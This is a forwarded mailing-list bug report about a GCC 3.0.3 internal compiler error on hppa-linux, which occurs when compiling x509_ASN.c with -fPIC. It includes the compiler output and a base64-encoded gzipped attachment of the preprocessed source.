> ELF__ -D__unix__ -D__hppa__ -D__linux__ -D__unix -D__linux -Asystem=unix -Asyste
> m=posix -Acpu=hppa -Amachine=hppa -Amachine=bigendian -D__OPTIMIZE__ -D__STDC_HO
> STED__=1 -D__PIC__ -D__pic__ -D_PA_RISC1_1 -DHAVE_CONFIG_H -DPIC x509_ASN.c x509
> _ASN.i
> GNU CPP version 3.0.3 (cpplib) (hppa)
> ignoring nonexistent directory "/usr/hppa-linux/include"
> ignoring duplicate directory "."
> #include "..." search starts here:
> #include <...> search starts here:
>  .
>  ..
>  /usr/local/include
>  /usr/lib/gcc-lib/hppa-linux/3.0.3/include
>  /usr/include
> End of search list.
>  /usr/lib/gcc-lib/hppa-linux/3.0.3/cc1 -fpreprocessed x509_ASN.i -mno-space-regs
>  -quiet -dumpbase x509_ASN.c -O2 -version -fPIC -o x509_ASN.s
> GNU CPP version 3.0.3 (cpplib) (hppa)
> GNU C version 3.0.3 (hppa-linux)
>         compiled by GNU C version 3.0.3.
> /usr/share/misc/bison.simple: In function `yyparse':
> /usr/share/misc/bison.simple:761: Insn does not satisfy its constraints:
> (insn 7749 7746 59 (set (mem:SI (plus:SI (reg:SI 1 %r1)
>                 (reg/f:SI 3 %r3)) 272)
>         (reg:SI 5 %r5)) 68 {*pa.md:2088} (nil)
>     (nil))
> /usr/share/misc/bison.simple:761: Internal compiler error in reload_cse_simplify
> _operands, at reload1.c:8364
> Please submit a full bug report,
> with preprocessed source if appropriate.
> See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
> 
> The problem does not occur when compiling with -fno-gcse or without -fPIC.
> 
> >How-To-Repeat:
> 	.i for source with and without -fPIC attached. As described
> above the problem only occurs with -fPIC ...
> 
> >Fix:
> 	unknown
> 
> -- 
> Debian Developer <tausq@debian.org>
> http://www.TauSq.org/
> 
> ----- End forwarded message -----
> 
> -- 
>    @..@                                         http://www.TauSq.org/
>   (----)
>  ( >__< )
>  ^^ ~~ ^^
> 
> --W/nzBZO5zC0uMSeA
> Content-Type: application/octet-stream
> Content-Disposition: attachment; filename="x509_ASN.pic.i.gz"
> Content-Transfer-Encoding: base64
> 
> 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
